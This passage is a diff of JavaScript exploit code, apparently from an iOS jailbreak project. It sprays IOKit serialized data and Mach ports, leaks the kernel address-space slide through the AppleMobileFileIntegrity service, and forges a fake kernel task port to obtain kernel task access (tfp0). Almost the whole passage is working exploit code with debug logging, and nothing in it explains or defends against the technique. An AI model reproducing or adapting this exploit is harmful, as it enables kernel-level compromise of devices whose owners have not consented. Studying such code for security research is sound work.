kOSSerializeDictionary = 0x01000000; +var kOSSerializeArray = 0x02000000; +var kOSSerializeSet = 0x03000000; +var kOSSerializeNumber = 0x04000000; +var kOSSerializeSymbol = 0x08000000; +var kOSSerializeString = 0x09000000; +var kOSSerializeData = 0x0a000000; +var kOSSerializeBoolean = 0x0b000000; +var kOSSerializeObject = 0x0c000000; + +var kOSSerializeTypeMask = 0x7F000000; +var kOSSerializeDataMask = 0x00FFFFFF; + +var kOSSerializeEndCollection = 0x80000000; + +var kOSSerializeMagic = 0x000000d3; + +var SIZEOF_BYTES_MSG = 384; + +var PORTS_NUM = 1024; +var PORTS_NUM_PRESPRAY = 100; +var MIG_MAX = 0x1000; + +function spray_data(mem, size, num, portptr) { + var err = shit_heap(4); + var ret = 0; + var master = shit_heap(4); + host_get_io_master(mach_host_self(), master); + var dict = shit_heap(MIG_MAX); + var __cnt = 0; + write_u32(dict + (__cnt << 2), kOSSerializeMagic); __cnt++; + write_u32(dict + (__cnt << 2), kOSSerializeEndCollection | kOSSerializeDictionary | 1); __cnt++; + write_u32(dict + (__cnt << 2), kOSSerializeSymbol | 4); __cnt++; + write_u32(dict + (__cnt << 2), 0x0079656b); __cnt++; + write_u32(dict + (__cnt << 2), kOSSerializeEndCollection | kOSSerializeArray | num); __cnt++; + + for (var i = 0; i < num; i++) { + write_u32(dict + (__cnt << 2), ((i == num - 1) ? kOSSerializeEndCollection : 0) | kOSSerializeData | SIZEOF_BYTES_MSG); __cnt++; + if (mem != 0 && size != 0) { + memcpy(dict + (__cnt << 2), mem, size); + } + memset(dict + (__cnt << 2) + size, 0, SIZEOF_BYTES_MSG - size); + __cnt += SIZEOF_BYTES_MSG / 4; + } + + p0laris_log("%x %x\n", master, read_u32(master)); + p0laris_log("%x\n", read_u32(0x36ebf00c + get_dyld_shc_slide())); + ret = io_service_add_notification_ool(read_u32(master), "IOServiceTerminate", dict, __cnt * 4, MACH_PORT_NULL, NULL, 0, err, portptr); + p0laris_log("still alive? %x %x\n", err, read_u32(err)); + if (ret == KERN_SUCCESS) { + ret = read_u32(err); + } + p0laris_log("still alive? %x %x\n", err, read_u32(err)); + + return ret; +} + +function copyinPort(kport, cnt) { + var err = shit_heap(4); + var ret = 0; + var self = task_self; + var service = MACH_PORT_NULL; + var client = shit_heap(4); + var it = shit_heap(4); + var o = MACH_PORT_NULL; + var data = shit_heap(4); + var master = shit_heap(4); + fakeportData = shit_heap(4); + var host_self = mach_host_self(); + host_get_io_master(mach_host_self(), master); + ret = spray_data(NULL, 0, 5, data); + p0laris_log("sprayed, still here\n"); + p0laris_log("spray_data=%d (%s)\n", ret, mach_error_string(ret)); + p0laris_log("sprayed, still here\n"); + +// p0laris_log("%x %x\n", master, read_u32(master)); + service = IOServiceGetMatchingService(read_u32(master), IOServiceMatching("AppleMobileFileIntegrity")); + p0laris_log("service=%x\n", service); + + var tst = sptr("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"); + p0laris_log("%x\n", tst); + var kpbuf = tst + 4; + for (var i = 0; i < cnt; i++) { + write_buf(kpbuf + (i * kport_size), read_buf(kport + (i * kport_size), kport_size), kport_size); + } + + var err = shit_heap(4); + var xmls = "<plist><dict><key>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA</key><integer size=\"512\">1768515945</integer></dict></plist>"; + var xml = sptr(xmls); + ret = io_service_open_extended(service, self, 0, 0, 1, xml, xmls.length + 1, err, client); + p0laris_log("io_service_open_extended=%d (%s)\n", ret, mach_error_string(ret)); + if (ret == KERN_SUCCESS) { + ret = read_u32(err); + } + p0laris_log("io_service_open_extended=%d (%s)\n", ret, mach_error_string(ret)); + IORegistryEntryGetChildIterator(service, "IOService", it); + + var found = false; + var o = IOIteratorNext(read_u32(it)); + + while (o != MACH_PORT_NULL && !found) { + var buf = shit_heap(16 * 4); + var size = shit_heap(4); + write_u32(size, 16 * 4); + ret = IORegistryEntryGetProperty(o, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", buf, size); + p0laris_log("%d %s\n", ret, mach_error_string(ret)); + if (ret == KERN_SUCCESS) { + spray_data(tst, strlen(tst) + 1, 10, fakeportData); + kslide = (((read_u32(buf + (9 << 2)) & 0xFFF00000) + 0x1000) -0x80001000) >>> 0; + p0laris_log("YOLO YOLO YOLO kaslr_slide=%s\n", kslide.toString(16)); + found = true; + return ((read_u32(buf + (4 << 2)) - 0x78)) >>> 0; + } + } + p0laris_log("didn't find it\n"); +} + +function prepare_ptr(dict, size, ptr, num) { + var idx = 0; + write_u32(dict + (idx << 2), kOSSerializeMagic); idx++; + write_u32(dict + (idx << 2), kOSSerializeEndCollection | kOSSerializeDictionary | 1); idx++; + write_u32(dict + (idx << 2), kOSSerializeSymbol | 4); idx++; + write_u32(dict + (idx << 2), 0x0079656b); idx++; + write_u32(dict + (idx << 2), (kOSSerializeEndCollection | kOSSerializeArray | (num >>> 0))); idx++; + for (var i = 0; i < num; i++) { + write_u32(dict + (idx << 2), ((i == (num - 1)) ? kOSSerializeEndCollection : 0) | kOSSerializeData | 8); idx++; + write_u32(dict + (idx << 2), ptr); idx++; + write_u32(dict + (idx << 2), ptr); idx++; + } + + write_u32(size, idx * 4); + return KERN_SUCCESS; +} + +function spray(dict, size, port) { + var err = shit_heap(4); + var ret = 0; + var master = shit_heap(4); + + ret = host_get_io_master(mach_host_self(), master); +// p0laris_log("yahtzee3 %d (%s) %p\n", ret, mach_error_string(ret), read_u32(master)); +// scall("p0laris_log", "0x%08x 0x%08x 0x%08x 0x%08x 0x%08x 0x%08x 0x%08x 0x%08x 0x%08x 0x%08x 0x%08x 0x%08x 0x%08x 0x%08x 0x%08x 0x%08x 0x%08x 0x%08x 0x%08x 0x%08x 0x%08x 0x%08x\n", master, 0x41414141, "IOServiceTerminate", 0x41414141, dict, 0x41414141, size, 0x41414141, MACH_PORT_NULL, 0x41414141, NULL, 0x41414141, 0, 0x41414141, err, 0x41414141, port, 0x41414141); + ret = io_service_add_notification_ool(read_u32(master), "IOServiceTerminate", dict, size, MACH_PORT_NULL, NULL, 0, err, port); +// p0laris_log("yahtzee %d (%s)\n", ret, mach_error_string(ret)); + + if (ret == KERN_SUCCESS) { + ret = read_u32(err); + } + +// p0laris_log("yahtzee2 %d (%s)\n", ret, mach_error_string(ret)); + + return ret; +} + +var kp = 0; +function spray_ports(number_port_descs) { + if (kp == 0) { + kp = shit_heap(4); + mach_port_allocate(task_self, MACH_PORT_RIGHT_RECEIVE, kp); + mach_port_insert_right(task_self, read_u32(kp), read_u32(kp), MACH_MSG_TYPE_MAKE_SEND); + } else if (read_u32(kp) == 0) { + kp = shit_heap(4); + mach_port_allocate(task_self, MACH_PORT_RIGHT_RECEIVE, kp); + mach_port_insert_right(task_self, read_u32(kp), read_u32(kp), MACH_MSG_TYPE_MAKE_SEND); + } + + var mp = shit_heap(4); + + var ret_ = mach_port_allocate(task_self, MACH_PORT_RIGHT_RECEIVE, mp); +// p0laris_log("mpa %d (%s)\n", ret_, mach_error_string(ret_)); + ret_ = mach_port_insert_right(task_self, read_u32(mp), read_u32(mp), MACH_MSG_TYPE_MAKE_SEND); +// p0laris_log("mpir %d (%s)\n", ret_, mach_error_string(ret_)); + + ret_ = send_ports(read_u32(mp), read_u32(kp), 2, number_port_descs); + +// p0laris_log("sp %d (%s)\n", ret_, mach_error_string(ret_)); + + var ret = read_u32(mp); + shit_heap_free(mp); + return ret; +} + +function fast_log2(n) { + var i = 0; + while (n >>= 1) { + i++; + } + + return i; +} + +function fast_array_mul(arr, n) { + var up_to = fast_log2(n) + 1; + var tmp_arr = arr; + var done = 0; + for (var i = 0; i < up_to; i++) { + tmp_arr.push.apply(tmp_arr); + done = (1 << i); + } + + return tmp_arr; +} + +function send_ports(target, payload, num, number_port_descs) { + var init_port_set = shit_heap(num * 4); + + for (var i = 0; i < num; i++) { + write_u32(init_port_set + (i << 2), payload); + } + + // var buf = shit_heap(0x1c + (number_port_descs * 0xc * 8)); + +// write_u32(buf + req_msgh_body_msgh_descriptor_count, number_port_descs); + +// var buf = new Uint32Array((0x1c + (3 * number_port_descs); + +// write_u32(number_port_descs); + + large_buf[req_msgh_body_msgh_descriptor_count >> 2] = number_port_descs; + + var tmp = ((19 << 16) + (MACH_MSG_OOL_PORTS_DESCRIPTOR << 24)); + + for (var i = 0; i < number_port_descs; i++) { + var tmp2 = (i * 3) + (req_init_port_set >>> 2); + large_buf[tmp2 + 0] = (init_port_set); + large_buf[tmp2 + 1] = (num); + large_buf[tmp2 + 2] = tmp; + } + + large_buf[req_head_msgh_bits >>> 2] = 0x80001513; // MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(19, MACH_MSG_TYPE_MAKE_SEND_ONCE) + large_buf[req_head_msgh_request_port >>> 2] = target; + large_buf[req_head_msgh_reply_port >>> 2] = 0; + large_buf[req_head_msgh_id >>> 2] = 1337; + +// p0laris_log("%s\n", prim_hexdump(read_buf(large_buf_ptr, 0x100))); + + var ret = mach_msg(large_buf_ptr, 1, 0x1c + (number_port_descs * 0xc), 0, 0, 0, MACH_PORT_NULL); + + return ret; +} + +function release_port_ptrs(port) { +// var req = shit_heap(0x1c + (5 * 0xc) + 0x8); + var req = shit_heap(0x1c + (5 * 0xc) + 0x8); +// p0laris_log("%s\n", hexdump(read_buf(req, 0x1c + (5 * 0xc) + 0x8), 8, 2, req, 8, "0")); + var ret = mach_msg(req, MACH_RCV_MSG, 0, (0x1c + (5 * 0xc) + 0x8), port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); + if (ret != KERN_SUCCESS) { + p0laris_log("mach_recv %d %s\n", ret, mach_error_string(ret)); + } + shit_heap_free(req); +} + +function r3gister(task, init_port_set, real_count, fake_count) { + var mess = shit_heap(0x1000); + var InP = mess; + var OutP = mess; + + /* + InP->msgh_body.msgh_descriptor_count = 1; + InP->init_port_set.address = (void*)(init_port_set); + InP->init_port_set.count = real_count; + InP->init_port_set.disposition = 19; + InP->init_port_set.deallocate = FALSE; + InP->init_port_set.type = MACH_MSG_OOL_PORTS_DESCRIPTOR; + InP->NDR = NDR_record; + InP->init_port_setCnt = fake_count; // was real_count + InP->Head.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(19, MACH_MSG_TYPE_MAKE_SEND_ONCE); + InP->Head.msgh_remote_port = task; + InP->Head.msgh_local_port = mig_get_local_port(); + InP->Head.msgh_id = 3403; + InP->msgh_body.msgh_descriptor_count 0x18 0x4 + InP->init_port_set.address 0x1c 0x4 + InP->init_port_set.count 0x20 0x4 + InP->init_port_set 0x1c + InP->NDR 0x28 0x8 + InP->init_port_setCnt 0x30 0x4 + InP->Head.msgh_bits 0x0 0x4 + InP->Head.msgh_remote_port 0x8 0x4 + InP->Head.msgh_local_port 0xc 0x4 + InP->Head.msgh_id 0x14 0x4 +0x00000003 +0x00000034 0x0000002c +0x00000024 +50 +78 +0x0 0x1057ec + */ + + write_u32(InP + 0x18, 1); + write_u32(InP + 0x1c, init_port_set); + write_u32(InP + 0x20, real_count); + write_u32(InP + 0x24, ((19 << 16) + (MACH_MSG_OOL_PORTS_DESCRIPTOR << 24))); + write_u32(InP + 0x28, read_u32(NDR_record + get_dyld_shc_slide() + 0x0)); + write_u32(InP + 0x2c, read_u32(NDR_record + get_dyld_shc_slide() + 0x4)); + write_u32(InP + 0x30, fake_count); + write_u32(InP + 0x0, 0x80001513); + write_u32(InP + 0x8, task); + write_u32(InP + 0xc, mig_get_reply_port()); + write_u32(InP + 0x14, 3403); + + var ret = mach_msg(InP, 0x3, 0x34, 0x2c, read_u32(InP + 0xc), MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); + if (ret == KERN_SUCCESS) { + ret = read_u32(OutP + 0x24); + } + return ret; +} + +function mach_ports_lookup_shit() { + p0laris_log("fuck\n"); + var arrz = shit_heap(4); + p0laris_log("fuck\n"); + write_u32(arrz, 0); + p0laris_log("fuck\n"); + var sz = shit_heap(4);; + p0laris_log("fuck\n"); + write_u32(sz, 3); + p0laris_log("fuck\n"); +// var mts = mach_task_self(); + p0laris_log("fuck\n"); + calls4arg("mach_ports_lookup", task_self, arrz, sz, 0); + puts("helo"); + p0laris_log("mpl success\n"); + scall("p0laris_log", "done %x %x %x %x\n", read_u32(read_u32(arrz) + 0), read_u32(read_u32(arrz) + 4), read_u32(read_u32(arrz) + 8), read_u32(kp)); + p0laris_log("mpl success\n"); + + return read_u32(read_u32(arrz) + 8); +// return 0x42603; +} + +var kernel_task_addr = 0; +function get_kernel_task() { + var ret = 0; + var tfp0 = 0; + + /* + p0laris_log("fuck\n"); + var arrz = shit_heap(4); + p0laris_log("fuck\n"); + write_u32(arrz, 0); + p0laris_log("fuck\n"); + var sz = shit_heap(4);; + p0laris_log("fuck\n"); + write_u32(sz, 3); + p0laris_log("fuck\n"); + var mts = mach_task_self(); + p0laris_log("fuck\n"); + mach_ports_lookup(mts, arrz, sz); + p0laris_log("mpl success\n"); + return; +*/ + + sanity_port = shit_heap(4); + + task_self = mach_task_self(); + + mach_port_allocate(task_self, MACH_PORT_RIGHT_RECEIVE, sanity_port); + mach_port_insert_right(task_self, read_u32(sanity_port), read_u32(sanity_port), MACH_MSG_TYPE_MAKE_SEND); + limits = shit_heap(4); + write_u32(limits, 1000); + mach_port_set_attributes(task_self, read_u32(sanity_port), MACH_PORT_LIMITS_INFO, limits, MACH_PORT_LIMITS_INFO_COUNT); + + p0laris_log("starting exploit\n"); + + var data = shit_heap(16); + var kport = shit_heap(kport_size * 2); + var ptr = kport + kport_size; // maybe + 1? iirc adding 1 to a pointer adds sizeof(type) unless it's void or something + write_u32(kport + kport_ip_bits4, 0x80000002); // IO_BITS_ACTIVE | IOT_PORT | IKOT_TASK + write_u32(kport + kport_ip_references4, 100); + write_u32(kport + kport_ip_lock_type4, 0x11); + write_u16(kport + kport_ip_messages_port_qlimit2, 777); + write_u32(kport + kport_ip_receiver4, 0x12345678); // dummy + write_u32(kport + kport_ip_srights4, 99); + + var big_buf = shit_heap(MIG_MAX); + var small_buf = shit_heap(MIG_MAX); + + var big_size = shit_heap(4); + var small_size = shit_heap(4); + + var fp = shit_heap(PORTS_NUM * 4); + var postSpray = shit_heap(4); + + usleep(10000); + sched_yield(); + var kptr = copyinPort(kport, 2); + + p0laris_log("0x%08x\n", kptr); + write_u32(data, kptr); + write_u32(data + 4, kptr); + + prepare_ptr(big_buf, big_size, kptr, 256); + prepare_ptr(small_buf, small_size, kptr, 32); + +again: while (true) { + + sched_yield(); + var dummy = shit_heap(4); + for (var i = 0; i < PORTS_NUM_PRESPRAY; i++) { + var dummy = shit_heap(4); + spray(big_buf, read_u32(big_size), dummy); + } + + sched_yield(); + var dummy = shit_heap(4); + for (var i = 0; i < PORTS_NUM; i++) { +// for (var i = 0; i < 8; i++) { + var dummy = shit_heap(4); + if (i % 4 == 0) { + p0laris_log("spray_ports %d\n", i); + } + write_u32(fp + (i << 2), spray_ports(1)); + spray(small_buf, read_u32(small_size), dummy); + } + + sched_yield(); + for (var i = 0; i < PORTS_NUM; i++) { +// for (var i = 0; i < 8; i++) { + release_port_ptrs(read_u32(fp + (i << 2))); + } + +// return; + + + var arrz = shit_heap(16); + write_u32(arrz, 0); + write_u32(arrz + 4, 0); + write_u32(arrz + 8, 0); + write_u32(arrz + 12, 0); + var sz = shit_heap(4); + write_u32(sz, 3); +// mach_ports_lookup_shit_dealloc(); + var ret__ = r3gister(mach_task_self(), arrz, 2, 3); + mach_ports_lookup(mach_task_self(), arrz, sz); + scall("p0laris_log", "done %x %x %x %x\n", read_u32(read_u32(arrz) + 0), read_u32(read_u32(arrz) + 4), read_u32(read_u32(arrz) + 8), read_u32(kp)); + p0laris_log("mpl success\n"); + + var fake_port = read_u32(read_u32(arrz) + 8); + p0laris_log("%d %s\n", ret__, mach_error_string(ret__)); + p0laris_log("r3gister done\n"); +// while (true) { + // +// } + p0laris_log("fuck\n"); +// var fake_port = read_u32(read_u32(arrz) + 8); + + /* + * BEGIN JANK FUCKING HACK + */ +// var fake_port = mach_ports_lookup_shit(); + p0laris_log("fuck\n"); + p0laris_log("%x\n", fake_port); + p0laris_log("fuck\n"); + // todo: add mach_port_valid stuff + p0laris_log("fuck\n"); + + p0laris_log("fuck\n"); + for (var i = 0; i < 0x78; i += 4) { + write_u32(kport + i, 0x41410000 | i); + } + for (var i = 0; i < 0x78; i += 4) { + write_u32(kport + i + 0x78, 0x41420000 | i); + } +// write_u32(kport + 0x50, kptr + 0x78 - TASK_BSDINFO_OFFSET); + p0laris_log("fuck\n"); +// write_u32(ptr, find_kerneltask() + kslide - BSDINFO_PID_OFFSET); + p0laris_log("fuck\n"); + var tst_str = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\0"; + p0laris_log("fuck\n"); + var tst = _sptr(tst_str); + p0laris_log("fuck\n"); + var kpbuf = tst + 4; + p0laris_log("fuck\n"); + + p0laris_log("fuck\n"); + for (var i = 0; i < 2; i++) { + p0laris_log("fuck\n"); + write_buf(kpbuf + (i * 0x78), read_buf(kport + (i * 0x78), 0x78), 0x78); + } + p0laris_log("fuck\n"); + usleep(10000); + sched_yield(); + mach_port_destroy(mach_task_self(), read_u32(fakeportData)); + ret__ = spray_data(tst, tst_str.length, 10, fakeportData); + p0laris_log("sd %d (%s)\n", ret__, mach_error_string(ret__)); + p0laris_log("fuck\n"); + p0laris_log("done realloc"); + p0laris_log("fuck\n"); + + p0laris_log("fuck\n"); + var kernel_task_addr = shit_heap(4); + p0laris_log("fuck\n"); + scall("p0laris_log", "kernel_task address: 0x%08x\n", read_u32(kernel_task_addr)); + ret__ = pid_for_task(fake_port, kernel_task_addr); + p0laris_log("%d %s\n", ret__, mach_error_string(ret__)); + p0laris_log("fuck\n"); + p0laris_log("IF YOU SEE THIS AND IT LOOKS LEGIT, SHIT HAS FUCKING HAPPENED\n"); + p0laris_log("fuck\n"); + call4arg(sym_cache["puts"], sptr("kernel_task address: 0x" + pad_left(read_u32(kernel_task_addr).toString(16), '0', 8)), 0, 0, 0); + if (kernel_task_addr === 0xffffffff) { + continue again; + } + scall("p0laris_log", "kernel_task address: 0x%08x\n", read_u32(kernel_task_addr)); + p0laris_log("fuck\n"); + + p0laris_log("get lucky\n"); + + return tfp0; + } +} |
